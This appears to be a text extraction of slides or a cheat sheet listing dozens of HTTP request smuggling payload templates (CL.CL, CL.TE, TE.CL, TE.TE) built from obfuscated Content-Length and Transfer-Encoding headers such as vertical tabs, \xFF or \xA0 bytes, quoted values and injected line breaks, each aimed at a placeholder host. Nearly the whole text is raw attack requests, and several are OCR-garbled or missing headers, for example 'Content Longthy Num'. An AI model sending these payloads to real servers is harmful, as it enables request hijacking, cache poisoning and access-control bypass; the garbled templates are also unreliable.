



Try To Use HTTP Request Smuggling CL != 0 , Frontend sees

Content-Length: Number But Backend Assumes There Are Two Request



Blog



Blog



Slides

POST / HTTP/1.1

Host: www.company.com

Content-Length: Number

GET / HTTP/1.1\r\n

Host: www.company.com\r\n

Try To Use HTTP Request Smuggling CL != 0 , Frontend sees

Content-Length : Number But Backend Assumes There Are Two Request



Blog

POST / HTTP/1.1

Host: www.company.com

Content-Length : Number

GET / HTTP/1.1\r\n

Host: www.company.com\r\n



Try To Use HTTP Request Smuggling CL != 0 , Frontend sees

Content-Length abcd: Number But Backend Assumes There Are Two Request



POST / HTTP/1.1

Host: www.company.com

Content-Length abce: Number

GET / HTTP/1.1\r\n

Host: www.company.com\r\n



Try To Use HTTP Request Smuggling CL != 0 , Frontend sees \rContent-Length: Number But Backend Assumes There Are Two Request



POST / HTTP/1.1

Host: www.company.com

\rContent-Length: Number

GET / HTTP/1.1\r\n

Host: www.company.com\r\n



Try To Use HTTP Request Smuggling CL != 0 , Frontend sees

Content\rLength: Number But Backend Assumes There Are Two Request



POST / HTTP/1.1

Host: www.company.com

Content\rLength: Number

GET / HTTP/1.1\r\n

Host: www.company.com\r\n



Try To Use HTTP Request Smuggling CL != 0 , Frontend sees

Content\x20Length: Number But Backend Assumes There Are Two Request



POST / HTTP/1.1

Host: www.company.com

Content\x20Length: Number

GET / HTTP/1.1\r\n

Host: www.company.com\r\n



Try To Use HTTP Request Smuggling CL != 0 , Frontend sees

Content-Length: Number Number But Backend Assumes There Are Two Request



POST / HTTP/1.1 Host: www.company.com Content-Length: Number Number

GET / HTTP/1.1\r\n Host: www.company.com\r

Try To Use HTTP Request Smuggling Connections Header Trick, Frontend Drop Content-Length Header So Backend May Be See TWO Requests

• Video

POST / HTTP/1.1

Host: www.company.com

Connection: Content-Length

Content-Length: Number

Backend\r\n

\r\n

GET / HTTP/1.1\r\n



Try To Use HTTP Request Smuggling CL.CL, Frontend sees

Content-Length: Number But Backend sees Content-Length: Number



Video



Blog



Blog

POST / HTTP/1.1

Host: www.company.com

Content-Length: Number

Content-Length: Number

Backend\r\n

GET / HTTP/1.1\r\n



Try To Use HTTP Request Smuggling CL.CL, Frontend sees

Content-Length: Number But Backend sees Content-Length absc: Number



POST / HTTP/1.1

Host: www.company.com

Content-Length: Number

Content-Length abcd: Number

Backend\r\n

GET / HTTP/1.1\r\n

Try To Use HTTP Request Smuggling CL.CL, Frontend sees Content-Length:
Number But Backend sees Content-Length absc: Number With HTTP/1.2



POST / HTTP/1.1

Host: www.company.com

Content-Length: Number

Content-Length abcd: Number

Backend\r\n

GET / HTTP/1.2\r\n

Try To Use HTTP Request Smuggling CL.CL, Frontend sees Content-Length:

Number But Backend sees Content-Length absc: Number With MIME text/plain



POST / HTTP/1.1

Host: www.company.com

Content-Type: text/plain
Content-Length: Number

Content-Length abcd: Number

Backend\r\n GET / HTTP/1.1\r\n X: X



Try To Use HTTP Request Smuggling CL.TE, Frontend sees

Content-Length: Number But Backend sees Transfer-Encoding: chunked







• 1 Writeup

POST / HTTP/1.1

Host: www.company.com

Content-Length: Number

Transfer-Encoding: chunked

0\r\n \r\n

GET / HTTP/1.1\r\n



Try To Use HTTP Request Smuggling TE.CL, Frontend sees Transfer-Encoding: chunked But Backend sees Content-Length: Number







POST / HTTP/1.1

Host: www.company.com Transfer-Encoding: chunked Content-Length: Number

Backend\r\n

GET / HTTP/1.1\r\n

Host: www.company.com\r\n

\r\n 0\r\n \r\n



Try To Use HTTP Request Smuggling TE.TE, Frontend and Backend See

Transfer-Encoding, Backend Prioritize Content-Length: Number If Abnormal Value



Blog



Blog



Video

• **1**1

Writeup

POST / HTTP/1.1

Host: www.company.com Content-Length: Number Transfer-Encoding: chunked Transfer-Encoding: nothing

Backend\r\n
GET / HTTP/1.1\r\n
Host: www.company.com\r\n
\r\n
0\r\n
\r\n



Try To Use HTTP Request Smuggling CL.TE, Frontend sees

Content-Length: Number But Backend sees Transfer-Encoding: chunked

- Video
- 📆 Blog
- 📆 Blog
- 1 Writeup
- **1** Writeup

POST / HTTP/1.1

Host: www.company.com

Content-Length: Number

Transfer-Encoding : chunked

0\r\n \r\n

GET / HTTP/1.1\r\n



Try To Use HTTP Request Smuggling TE.CL, Frontend sees

Transfer-Encoding: chunked But Backend sees Content-Length: Number



Video



Blog

POST / HTTP/1.1

Host: www.company.com
Transfer-Encoding : chunked
Content-Length: Number

Backend\r\n

GET / HTTP/1.1\r\n

Host: www.company.com\r\n

\r\n 0\r\n \r\n



Try To Use HTTP Request Smuggling TE.TE, Frontend and Backend See Transfer-Encoding, Backend Prioritize Content-Length: Number If Abnormal Value



Mine

POST / HTTP/1.1

Host: www.company.com

GET / HTTP/1.1\r\n

Host: www.company.com\r\n

\r\n $0\r\n$



Try To Use HTTP Request Smuggling CL.TE, Frontend sees

Content-Length: Number But Backend sees Transfer-Encoding:



• 1 Writeup

POST / HTTP/1.1

Host: www.company.com Content-Length: Number

Transfer-Encoding: chunked

0\r\n \r\n GET / HTTP/1.1\r\n X: X



Try To Use HTTP Request Smuggling TE.CL, Frontend sees

Transfer-Encoding: chunked But Backend sees Content-Length: Number



POST / HTTP/1.1

Host: www.company.com

Transfer-Encoding: chunked

Content-Length: Number

Backend\r\n

GET / HTTP/1.1\r\n

Host: www.company.com\r\n

\r\n 0\r\n \r\n



Try To Use HTTP Request Smuggling TE.TE, Frontend and Backend See

Transfer-Encoding, Backend Prioritize Content-Length: Number If Abnormal Value



Mine

POST / HTTP/1.1

Host: www.company.com

Transfer-Encoding: chunked Transfer-Encoding: nothing

Backend\r\n

GET / HTTP/1.1\r\n

Host: www.company.com\r\n

\r\n 0\r\ı

0\r\n



Try To Use HTTP Request Smuggling CL.TE, Frontend sees

Content-Length: Number But Backend sees Transfer-Encoding:\n\u000Bchunked



Resource



Resource

POST / HTTP/1.1

Host: www.company.com

Content-Length: Number

Transfer-Encoding:\n\u000Bchunked

0\r\n \r\n

GET / HTTP/1.1\r\n



Try To Use HTTP Request Smuggling TE.CL, Frontend sees

Transfer-Encoding:\n\u000Bchunked But Backend sees Content-Length: Number



Resource



Resource

POST / HTTP/1.1

Host: www.company.com

Transfer-Encoding:\n\u000Bchunked

Content-Length: Number

Backend\r\n

GET / HTTP/1.1\r\n

Host: www.company.com\r\n

\r\n 0\r\n \r\n



Try To Use HTTP Request Smuggling TE.TE, Frontend and Backend See

Transfer-Encoding, Backend Prioritize Content-Length: Number If Abnormal Value



Mine

POST / HTTP/1.1

Host: www.company.com
Content-Length: Number
Transfer-Encoding:\n\u0008chunked
Transfer-Encoding:\n\u0008nothing

Backend\r\n

GET / HTTP/1.1\r\n

Host: www.company.com\r\n

\r\n

0\r\n



Try To Use HTTP Request Smuggling CL.TE, Frontend sees

Content-Length: Number But Backend sees Transfer-Encoding:\u000Bchunked



Resource |

POST / HTTP/1.1

Host: www.company.com

Content-Length: Number

Transfer-Encoding:\u000Bchunked

0\r\n \r\n

GET / HTTP/1.1\r\n



Try To Use HTTP Request Smuggling TE.CL, Frontend sees

Transfer-Encoding:\u000Bchunked But Backend sees Content-Length: Number



Resource

POST / HTTP/1.1

Host: www.company.com

Transfer-Encoding:\u000Bchunked

Content-Length: Numbe

Backend\r\n

GET / HTTP/1.1\r\n

Host: www.company.com\r\n

\r\n 0\r\n \r\n



Try To Use HTTP Request Smuggling TE.TE, Frontend and Backend See

Transfer-Encoding, Backend Prioritize Content-Length: Number If Abnormal Value



Mine

POST / HTTP/1.1

Host: www.company.com
Content-Length: Number
Transfer-Encoding:\u000Bchunked
Transfer-Encoding:\u000Bnothing

Backend\r\n

GET / HTTP/1.1\r\n

Host: www.company.com\r\n

\r\n

0\r\n



Try To Use HTTP Request Smuggling CL.TE, Frontend sees

Content-Length: Number But Backend sees Transfer-Encoding:\n chur



Resource



Resource

POST / HTTP/1.1 Host: www.company.com Content-Length: Number

chunked

0\r\n \r\n GET / HTTP/1.1\r\n X: X



Try To Use HTTP Request Smuggling TE.CL, Frontend sees Transfer-Encoding:\n chunked But Backend sees Content-Length: Number



Resource



Resource

POST / HTTP/1.1

Host: www.company.com

Transfer-Encoding:\n chunked

Content-Length: Numbe

Backend\r\n

GET / HTTP/1.1\r\n

Host: www.company.com\r\n

\r\n 0\r\n \r\n



Try To Use HTTP Request Smuggling TE.TE, Frontend and Backend See

Transfer-Encoding, Backend Prioritize Content-Length: Number If Abnormal Value



Resource

POST / HTTP/1.1

Host: www.company.com Content-Length: Number

ansfer-Encoding:\n chunk ansfer-Encoding:\n nothir

Backend\r\n

GET / HTTP/1.1\r\n

Host: www.company.com\r\n

\r\n

0\r\n



Try To Use HTTP Request Smuggling CL.TE, Frontend sees Content-Length: Number But Backend sees Content-Encoding: chunked



Resource



Resource

POST / HTTP/1.1

Host: www.company.com

Content-Length: Number

Content-Encoding: chunked

0\r\n \r\n

GET / HTTP/1.1\r\n



Try To Use HTTP Request Smuggling TE.CL, Frontend sees Content-Encoding: chunked But Backend sees Content-Length: Number



Resource



Resource

POST / HTTP/1.1

Host: www.company.com

Backend\r\n

GET / HTTP/1.1\r\n

Host: www.company.com\r\n

\r\n

 $0\r\n$



Try To Use HTTP Request Smuggling TE.TE, Frontend and Backend See

Transfer-Encoding, Backend Prioritize Content-Length: Number If Abnormal Value



Mine

POST / HTTP/1.1

Host: www.company.com Content-Length: Number Content-Encoding: chunked Content-Encoding: nothing

Backend\r\n

GET / HTTP/1.1\r\n

Host: www.company.com\r\n

\r\n

0\r\n



Try To Use HTTP Request Smuggling CL.TE, Frontend sees

Content-Length: Number But Backend sees Transfer_Encoding: chunked



Blog



Resource

POST / HTTP/1.1

Host: www.company.com

Content-Length: Number Transfer Encoding: chunk

0\r\n \r\n

GET / HTTP/1.1\r\n



Try To Use HTTP Request Smuggling TE.CL, Frontend sees

Transfer_Encoding: chunked But Backend sees Content-Length: Number



Resource



Resource

POST / HTTP/1.1

Host: www.company.com

Transfer_Encoding: chunked

Content-Length: Number

Backend\r\n

GET / HTTP/1.1\r\n

Host: www.company.com\r\n

\r\n 0\r\n



Try To Use HTTP Request Smuggling TE.TE, Frontend and Backend See Transfer-Encoding, Backend Prioritize Content-Length: Number If Abnormal Value



Mine

POST / HTTP/1.1

Host: www.company.com

GET / HTTP/1.1\r\n

Host: www.company.com\r\n

\r\n

 $0\r\n$



Try To Use HTTP Request Smuggling CL.TE, Frontend sees

Content-Length: Number But Backend sees Transfer-Encoding:\r\n chunked



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Blog

POST / HTTP/1.1

Host: www.company.com

Content-Length: Number

Transfer-Encoding

chunked

0\r\n \r\n

GET / HTTP/1.1\r\n

X: X



Try To Use HTTP Request Smuggling TE.CL, Frontend sees Transfer-Encoding:\r\n chunked But Backend sees Content-Length: Number



Resource



Resource

POST / HTTP/1.1

Host: www.company.com

Transfer-Encoding

Content Longthy Num

Backend\r\n

GET / HTTP/1.1\r\n

Host: www.company.com\r\n

\r\n

0\r\n



Try To Use HTTP Request Smuggling TE.TE, Frontend and Backend See

Transfer-Encoding, Backend Prioritize Content-Length: Number If Abnormal Value



Mine

POST / HTTP/1.1 Host: www.company.com Content-Length: Number Transfer-Encoding: chunked Transfer-Encoding: nothing Backend\rin GET / HTTP/1.1\r\n Host: www.company.com\r\n \r\n 0\r\n



Try To Use HTTP Request Smuggling CL.TE, Frontend sees

Content-Length: Number But Backend sees Transfer-Encoding:\n chunked



Resource

POST / HTTP/1.1 Host: www.company.com Content-Length: Number

0\r\n \r\n GET / HTTP/1.1\r\n X: X



Try To Use HTTP Request Smuggling TE.CL, Frontend sees

Transfer-Encoding:\n chunked But Backend sees Content-Length: Number



Resource



Resource

POST / HTTP/1.1

Host: www.company.com

Transfer-Encoding:\n chunked

Content-Length: Number

Backend\r\n

GET / HTTP/1.1\r\n

Host: www.company.com\r\n

\r\n 0\r\n



Try To Use HTTP Request Smuggling TE.TE, Frontend and Backend See

Transfer-Encoding, Backend Prioritize Content-Length: Number If Abnormal Value



Mine

POST / HTTP/1.1

Host: www.company.com
Content-Length: Number
Transfer-Encoding:\n chunked
Transfer-Encoding:\n nothing

Backend\r\n

GET / HTTP/1.1\r\n

Host: www.company.com\r\n

\r\n

0\r\n



Try To Use HTTP Request Smuggling CL.TE, Frontend sees

Content-Length: Number But Backend sees Transfer-Encoding:\xFFchunked



• Resource

POST / HTTP/1.1 Host: www.company.com Content-Length: Number Transfer-Encoding:\xFFchunked

0\r\n \r\n GET / HTTP/1.1\r\n X: X



Try To Use HTTP Request Smuggling TE.CL, Frontend sees

Transfer-Encoding:\xFFchunked But Backend sees Content-Length: Number



Resource



Resource

POST / HTTP/1.1

Host: www.company.com

Transfer-Encoding:\xFFchunked

Content-Length: Number

Backend\r\n

GET / HTTP/1.1\r\n

Host: www.company.com\r\n

\r\n 0\r\n



Try To Use HTTP Request Smuggling TE.TE, Frontend and Backend See

Transfer-Encoding, Backend Prioritize Content-Length: Number If Abnormal Value



Mine

POST / HTTP/1.1

Host: www.company.com
Content-Length: Number
Transfer-Encoding:\xFFchunked
Transfer-Encoding:\xFFnothing

Backend\r\n

GET / HTTP/1.1\r\n

Host: www.company.com\r\n

\r\n

0\r\n



Try To Use HTTP Request Smuggling CL.TE, Frontend sees

Content-Length: Number But Backend sees Transfer-Encoding:\xA0chunked



Resource



Resource

POST / HTTP/1.1

Host: www.company.com

Content-Length: Number

Transfer-Encoding:\xA0chunked

0\r\n \r\n

GET / HTTP/1.1\r\n

X: X



Try To Use HTTP Request Smuggling TE.CL, Frontend sees Transfer-Encoding:\xA0chunked But Backend sees Content-Length: Number



Resource



Resource

POST / HTTP/1.1

Host: www.company.com

Transfer-Encoding:\xA0chunked

Content-Length: Number

Backend\r\n

GET / HTTP/1.1\r\n

Host: www.company.com\r\n

\r\n 0\r\n \r\n



Try To Use HTTP Request Smuggling TE.TE, Frontend and Backend See

Transfer-Encoding, Backend Prioritize Content-Length: Number If Abnormal Value



Mine

POST / HTTP/1.1

Host: www.company.com
Content-Length: Number
Transfer-Encoding:\xA0chunked
Transfer-Encoding:\xA0nothing

Backend\r\n

GET / HTTP/1.1\r\n

Host: www.company.com\r\n

\r\n

0\r\n



Try To Use HTTP Request Smuggling CL.TE, Frontend sees

Content-Length: Number But Backend sees Transfer-Encoding: chu\x96nked



• Resource

POST / HTTP/1.1 Host: www.company.com Content-Length: Number Transfer-Encoding: chu\x96nked

0\r\n \r\n GET / HTTP/1.1\r\n X: X



Try To Use HTTP Request Smuggling TE.CL, Frontend sees

Transfer-Encoding: chu\x96nked But Backend sees Content-Length: Number



Resource



Resource

POST / HTTP/1.1

Host: www.company.com

Transfer-Encoding: chu\x96nked

Content-Length: Numbe

Backend\r\n

GET / HTTP/1.1\r\n

Host: www.company.com\r\n

\r\n 0\r\n \r\n



Try To Use HTTP Request Smuggling TE.TE, Frontend and Backend See

Transfer-Encoding, Backend Prioritize Content-Length: Number If Abnormal Value



Mine

POST / HTTP/1.1

Host: www.company.com

Transfer-Encoding: chu\x96nked Transfer-Encoding: \x96nothing

Backend\r\n

GET / HTTP/1.1\r\n

Host: www.company.com\r\n

\r\n

0\r\n



Try To Use HTTP Request Smuggling CL.TE, Frontend sees

Content-Length: Number But Backend sees Transfer-Encoding\n: chunked

• Resource

• Resource

POST / HTTP/1.1 Host: www.company.com Content-Length: Number

0\r\n \r\n GET / HTTP/1.1\r\n X: X



Try To Use HTTP Request Smuggling TE.CL, Frontend sees

Transfer-Encoding\n: chunked But Backend sees Content-Length: Number



Resource



Resource

POST / HTTP/1.1

Host: www.company.com

Transfer-Encoding\n : chunked

Content-Length: Number

Backend\r\n

GET / HTTP/1.1\r\n

Host: www.company.com\r\n

\r\n 0\r\n



Try To Use HTTP Request Smuggling TE.TE, Frontend and Backend See

Transfer-Encoding, Backend Prioritize Content-Length: Number If Abnormal Value



Mine

POST / HTTP/1.1

Host: www.company.com
Content-Length: Number
Transfer-Encoding\n: chunked
Transfer-Encoding\n: nothing

Backend\r\n

GET / HTTP/1.1\r\n

Host: www.company.com\r\n

\r\n

0\r\n



Try To Use HTTP Request Smuggling CL.TE, Frontend sees

Content-Length: Number But Backend sees Transfer\r-Encoding: chunked



Resource



Resource

POST / HTTP/1.1

Host: www.company.com

Content-Length: Number

Transfer\r-Encoding: chunked

0\r\n \r\n

GET / HTTP/1.1\r\n

X: X



Try To Use HTTP Request Smuggling TE.CL, Frontend sees Transfer\r-Encoding: chunked But Backend sees Content-Length: Number



Resource



Resource

POST / HTTP/1.1

Host: www.company.com

Transfer\r-Encoding: chunked

Content-Length: Number

Backend\r\n

GET / HTTP/1.1\r\n

Host: www.company.com\r\n

\r\n 0\r\n



Try To Use HTTP Request Smuggling TE.TE, Frontend and Backend See

Transfer-Encoding, Backend Prioritize Content-Length: Number If Abnormal Value



Mine

POST / HTTP/1.1

Host: www.company.com
Content-Length: Number
Transfer\r-Encoding: chunked
Transfer\r-Encoding: nothing

Backend\r\n

GET / HTTP/1.1\r\n

Host: www.company.com\r\n

\r\n

0\r\n



Try To Use HTTP Request Smuggling CL.TE, Frontend sees

Content-Length: Number But Backend sees Transfe\x82r-Encoding: chunked



• Resource

POST / HTTP/1.1 Host: www.company.com Content-Length: Number Transfe\x82r-Encoding: chunked

0\r\n \r\n GET / HTTP/1.1\r\n X: X



Try To Use HTTP Request Smuggling TE.CL, Frontend sees Transfe\x82r-Encoding: chunked But Backend sees Content-Length: Number



Resource



Resource

POST / HTTP/1.1

Host: www.company.com

Transfe\x82r-Encoding: chunked

Content-Length: Number

Backend\r\n

GET / HTTP/1.1\r\n

Host: www.company.com\r\n

\r\n 0\r\n \r\n



Try To Use HTTP Request Smuggling TE.TE, Frontend and Backend See

Transfer-Encoding, Backend Prioritize Content-Length: Number If Abnormal Value



Mine

POST / HTTP/1.1

Host: www.company.com Content-Length: Number Transfe\x82r-Encoding: chunked Transfe\x82r-Encoding: nothing

Backend\r\n

GET / HTTP/1.1\r\n

Host: www.company.com\r\n

\r\n

0\r\n



Try To Use HTTP Request Smuggling CL.TE, Frontend sees

Content-Length: Number But Backend sees Transfer-Encoding: chunked\r



Resource



Resource

POST / HTTP/1.1

Host: www.company.com

Content-Length: Number

Transfer-Encoding: chunked\

0\r\n \r\n

GET / HTTP/1.1\r\n

X: X



Try To Use HTTP Request Smuggling TE.CL, Frontend sees

Transfer-Encoding: chunked\r But Backend sees Content-Length: Number



Resource



Resource

POST / HTTP/1.1

Host: www.company.com

Transfer-Encoding: chunked\r

Content-Length: Numbe

Backend\r\n

GET / HTTP/1.1\r\n

Host: www.company.com\r\n

\r\n 0\r\n \r\n



Try To Use HTTP Request Smuggling TE.TE, Frontend and Backend See Transfer-Encoding, Backend Prioritize Content-Length: Number If Abnormal Value



Mine

POST / HTTP/1.1

Host: www.company.com

GET / HTTP/1.1\r\n

Host: www.company.com\r\n

\r\n

 $0\r\n$



Try To Use HTTP Request Smuggling CL.TE, Frontend sees

Content-Length: Number But Backend sees "Transfer-Encoding: chunked"



Resource



Resource

POST / HTTP/1.1

Host: www.company.com

Content-Length: Number

Transfer-Encoding: chunked

0\r\n \r\n

GET / HTTP/1.1\r\n

X: X

Ш



Try To Use HTTP Request Smuggling TE.CL, Frontend sees

"Transfer-Encoding: chunked " But Back

" But Backend sees Content-Length: Number



Resource



Resource

POST / HTTP/1.1

Host: www.company.com

Transfer-Encoding: chunked

Content-Length: Number

Backend\r\n

GET / HTTP/1.1\r\n

Host: www.company.com\r\n

\r\n 0\r\n



Try To Use HTTP Request Smuggling TE.TE, Frontend and Backend See

Transfer-Encoding, Backend Prioritize Content-Length: Number If Abnormal Value



Mine

POST / HTTP/1.1

Host: www.company.com Content-Length: Number Transfer-Encoding: chunked Transfer-Encoding: nothing

Backend\r\n

GET / HTTP/1.1\r\n

Host: www.company.com\r\n

\r\n

0\r\n



Content-Length: Number But Backend sees "Transfer-Encoding : chunked"



Resource



Resource

POST / HTTP/1.1

Host: www.company.com

Content-Length: Number

Transfer-Encoding : chunked

0\r\n \r\n

GET / HTTP/1.1\r\n

X: X



Try To Use HTTP Request Smuggling TE.CL, Frontend sees

Transfer-Encoding : chunked But Backend sees Content-Length: Number



Resource



Resource

POST / HTTP/1.1

Host: www.company.com

Transfer-Encoding : chunke

Content-Length: Number

Backend\r\n

GET / HTTP/1.1\r\n

Host: www.company.com\r\n

\r\n 0\r\n \r\n



Try To Use HTTP Request Smuggling TE.TE, Frontend and Backend See

Transfer-Encoding, Backend Prioritize Content-Length: Number If Abnormal Value



Mine

POST / HTTP/1.1 Host: www.company.com Content-Length: Number Transfer-Encoding : chunked Transfer-Encoding : nothing Backend\r\n GET / HTTP/1.1\r\n Host: www.company.com\r\n \r\n 0\r\n \r\n



Try To Use HTTP Request Smuggling CL.TE, Frontend sees

Content-Length: Number But Backend sees Transfer-Encoding: "chunked"



• Resource

POST / HTTP/1.1 Host: www.company.com Content-Length: Number Transfer-Encoding: "chunked

0\r\n \r\n GET / HTTP/1.1\r\n X: X



Try To Use HTTP Request Smuggling TE.CL, Frontend sees

Transfer-Encoding: "chunked" But Backend sees Content-Length: Number



Resource



Resource

POST / HTTP/1.1

Host: www.company.com

Transfer-Encoding: "chunked"

Content-Length: Number

Backend\r\n

GET / HTTP/1.1\r\n

Host: www.company.com\r\n

\r\n 0\r\n \r\n



Try To Use HTTP Request Smuggling TE.TE, Frontend and Backend See

Transfer-Encoding, Backend Prioritize Content-Length: Number If Abnormal Value



Mine

POST / HTTP/1.1

Host: www.company.com
Content-Length: Number
Transfer-Encoding: "chunked"
Transfer-Encoding: "nothing"

Backend\r\n

GET / HTTP/1.1\r\n

Host: www.company.com\r\n

\r\n

0\r\n



Try To Use HTTP Request Smuggling CL.TE, Frontend sees

Content-Length: Number But Backend sees Transfer-Encoding: 'chunked'



• Resource

POST / HTTP/1.1

Host: www.company.com

Content-Length: Number

Transfer-Encoding: 'chunked'

0\r\n \r\n

GET / HTTP/1.1\r\n

X: X



Try To Use HTTP Request Smuggling TE.CL, Frontend sees

Transfer-Encoding: 'chunked' But Backend sees Content-Length: Number



Resource



Resource

POST / HTTP/1.1

Host: www.company.com

Transfer-Encoding : 'chunked'

Content-Length: Number

Backend\r\n

GET / HTTP/1.1\r\n

Host: www.company.com\r\n

\r\n 0\r\n



Try To Use HTTP Request Smuggling TE.TE, Frontend and Backend See

Transfer-Encoding, Backend Prioritize Content-Length: Number If Abnormal Value



Mine

POST / HTTP/1.1

Host: www.company.com Content-Length: Number Transfer-Encoding: 'chunked' Transfer-Encoding: 'chunked'

Backend\r\n

GET / HTTP/1.1\r\n

Host: www.company.com\r\n

\r\n 0\r\

0\r\n



Try To Use HTTP Request Smuggling CL.TE, Frontend sees

Content-Length: Number But Backend sees Transfer-Encoding\r\n: chunked



• Resource

POST / HTTP/1.1 Host: www.company.com Content-Length: Number Transfer-Encoding : chunked

O\r\n \r\n GET / HTTP/1.1\r\n X: X



Try To Use HTTP Request Smuggling TE.CL, Frontend sees

Transfer-Encoding\r\n : chunked But Backend sees Content-Length: Number



Mine

POST / HTTP/1.1

Host: www.company.com

Transfer-Encoding

Content-Length: Number

Backend\r\n

GET / HTTP/1.1\r\n

Host: www.company.com\r\n

\r\n

0\r\n



Try To Use HTTP Request Smuggling TE.TE, Frontend and Backend See Transfer-Encoding, Backend Prioritize Content-Length: Number If Abnormal Value



Mine

POST / HTTP/1.1

Host: www.company.com

GET / HTTP/1.1\r\n

Host: www.company.com\r\n

\r\n 0\r\n



Try To Use HTTP Request Smuggling CL.TE, Frontend sees

Content-Length: Number But Backend sees Transfer-Encoding: xchunked

- Video
- Resource

POST / HTTP/1.1

Host: www.company.com Content-Length: Number Transfer-Encoding: xchunk

0\r\n \r\n

GET / HTTP/1.1\r\n

X: X



Try To Use HTTP Request Smuggling TE.CL, Frontend sees Transfer-Encoding: xchunked But Backend sees Content-Length: Number



• Resource

POST / HTTP/1.1

Host: www.company.com

Transfer-Encoding: xchunked Content-Length: Number

Backend\r\n

GET / HTTP/1.1\r\n

Host: www.company.com\r\n



Try To Use HTTP Request Smuggling TE.TE, Frontend and Backend See Transfer-Encoding, Backend Prioritize Content-Length: Number If Abnormal Value



Mine

POST / HTTP/1.1

Host: www.company.com

GET / HTTP/1.1\r\n

Host: www.company.com\r\n

\r\n

 $0\r\n$



Try To Use HTTP Request Smuggling CL.TE, Frontend sees Content-Length: Number But Backend sees 'Transfer-Encoding: chunked'



Video



Blog

POST / HTTP/1.1

Host: www.company.com

0\r\n

GET / HTTP/1.1\r\n

X: X



Try To Use HTTP Request Smuggling TE.CL, Frontend sees

'Transfer-Encoding: chunked' But Backend sees Content-Length: Number



Resource



Resource

POST / HTTP/1.1

Host: www.company.com

Transfer-Encoding: chunked

Content-Length: Number

Backend\r\n

GET / HTTP/1.1\r\n

Host: www.company.com\r\n



Try To Use HTTP Request Smuggling TE.TE, Frontend and Backend See Transfer-Encoding, Backend Prioritize Content-Length: Number If Abnormal Value



Mine

POST / HTTP/1.1

Host: www.company.com

GET / HTTP/1.1\r\n

Host: www.company.com\r\n

\r\n $0\r\n$



Try To Use HTTP Request Smuggling CL.TE, Frontend sees

Content-Length: Number But Backend sees X: X\nTransfer-Encoding: chunked

- Video
- Video
- 11 Writeup

POST / HTTP/1.1
Host: www.company.com
Content-Length: Number
X: X\nTransfer-Encoding: chunked

O\r\n
\r\n
GET / HTTP/1.1
X: X



Try To Use HTTP Request Smuggling TE.CL, Frontend sees

X: X\rTransfer-Encoding: chunked But Backend sees Content-Length: Number



Resource



Resource

POST / HTTP/1.1

Host: www.company.com

X: X\nTransfer-Encoding: chunked

Content-Length: Number

Backend\r\n

GET / HTTP/1.1\r\n

Host: www.company.com\r\n

\r\n 0\r\n



Try To Use HTTP Request Smuggling TE.TE, Frontend and Backend See

Transfer-Encoding, Backend Prioritize Content-Length: Number If Abnormal Value



Mine

POST / HTTP/1.1

Host: www.company.com
Content-Length: Number
X: X\nTransfer-Encoding: chunker

Backend\r\n

GET / HTTP/1.1\r\n

Host: www.company.com\r\n

\r\n

0\r\n



Try To Use HTTP Request Smuggling CL.TE, Frontend sees

Content-Length: Number But Backend sees X: X\r\n\rTransfer-Encoding: chunked



POST / HTTP/1.1

Host: www.company.com

X: X\r\n\rTransfer-Encoding: chunked

0\r\n \r\n

GET / HTTP/1.1\r\n

Host: www.company.com\r\n



Try To Use HTTP Request Smuggling TE.CL, Frontend sees

X: X\r\n\rTransfer-Encoding: chunked But Backend sees Content-Length: Number



Resource



Resource

POST / HTTP/1.1

Host: www.company.com

X: X\r\n\rTransfer-Encoding: chunked

Content-Length: Number

Backend\r\n

GET / HTTP/1.1\r\n

Host: www.company.com\r\n



Try To Use HTTP Request Smuggling TE.TE, Frontend and Backend See

Transfer-Encoding, Backend Prioritize Content-Length: Number If Abnormal Value



Mine

POST / HTTP/1.1

Host: www.company.com

V. Vidala Transfer Engedings of

X: X\r\n\r\ransfer-Encoding: chunked Y: Y\r\n\rTransfer-Encoding: nothing

Backend\r\n

GET / HTTP/1.1\r\n

Host: www.company.com\r\n

\r\n

0\r\n



Try To Use HTTP Request Smuggling CL.TE, Frontend sees Content-Length:

Number But Backend sees Transfer-Encoding: cow\r\nTransfer-Encoding: chunked



Resource



Resource

POST / HTTP/1.1

Host: www.company.com

Transfer-Encoding: cow\r\nTransfer-Encoding: chunked

0\r\n \r\n

GET / HTTP/1.1\r\n

Host: www.company.com\r\n



Try To Use HTTP Request Smuggling TE.CL, Frontend sees Transfer-Encoding: cow\r\nTransfer-Encoding: chunked But Backend sees Content-Length: Number



Resource



Resource

POST / HTTP/1.1

Host: www.company.com

Transfer-Encoding: cow\r\nTransfer-Encoding: chunked

Content-Length: Number

Backend\r\n

GET / HTTP/1.1\r\n

Host: www.company.com\r\n



Try To Use HTTP Request Smuggling TE.TE, Frontend and Backend See

Transfer-Encoding, Backend Prioritize Content-Length: Number If Abnormal Value



Mine

POST / HTTP/1.1

Host: www.company.com Content-Length: Number

Transfer-Encoding: nothing\r\nTransfer-Encoding: chunked

Backend\r\n

GET / HTTP/1.1\r\n

Host: www.company.com\r\n



Try To Use HTTP Request Smuggling CL.TE, Frontend sees

Content-Length: Number But Backend sees Transfer Encoding: chunked



Video



Resource

POST / HTTP/1.1

Host: www.company.com

Transfer Encoding: chunked

0\r\n \r\n

GET / HTTP/1.1\r\n

Host: www.company.com\r\n



Try To Use HTTP Request Smuggling TE.CL, Frontend sees

Transfer Encoding: chunked But Backend sees Content-Length: Number



Resource



Resource

POST / HTTP/1.1

Host: www.company.com

Transfer Encoding: chunked

Content-Length: Number

Backend\r\n

GET / HTTP/1.1\r\n

Host: www.company.com\r\n

\r\n 0\r\n



Try To Use HTTP Request Smuggling TE.TE, Frontend and Backend See

Transfer-Encoding, Backend Prioritize Content-Length: Number If Abnormal Value



Mine

POST / HTTP/1.1

Host: www.company.com Content-Length: Number Transfer Encoding: chunked Transfer Encoding: nothing

Backend\r\n

GET / HTTP/1.1\r\n

Host: www.company.com\r\n

\r\n

0\r\n



Try To Use HTTP Request Smuggling CL.TE, Frontend sees Content-Length: Number But Backend sees Transfer-Encoding: chùnked



POST / HTTP/1.1

Host: www.company.com Content-Length: Number Transfer-Encoding: chunked

0\r\n \r\n

GET / HTTP/1.1\r\n

Host: www.company.com\r\n



Try To Use HTTP Request Smuggling TE.CL, Frontend sees Transfer-Encoding: chùnked But Backend sees Content-Length: Number



Mine

POST / HTTP/1.1

Host: www.company.com Transfer-Encoding: chùnked Content-Length: Number

Backend\r\n

GET / HTTP/1.1\r\n

Host: www.company.com\r\n



Try To Use HTTP Request Smuggling TE.TE, Frontend and Backend See

Transfer-Encoding, Backend Prioritize Content-Length: Number If Abnormal Value



Mine

POST / HTTP/1.1

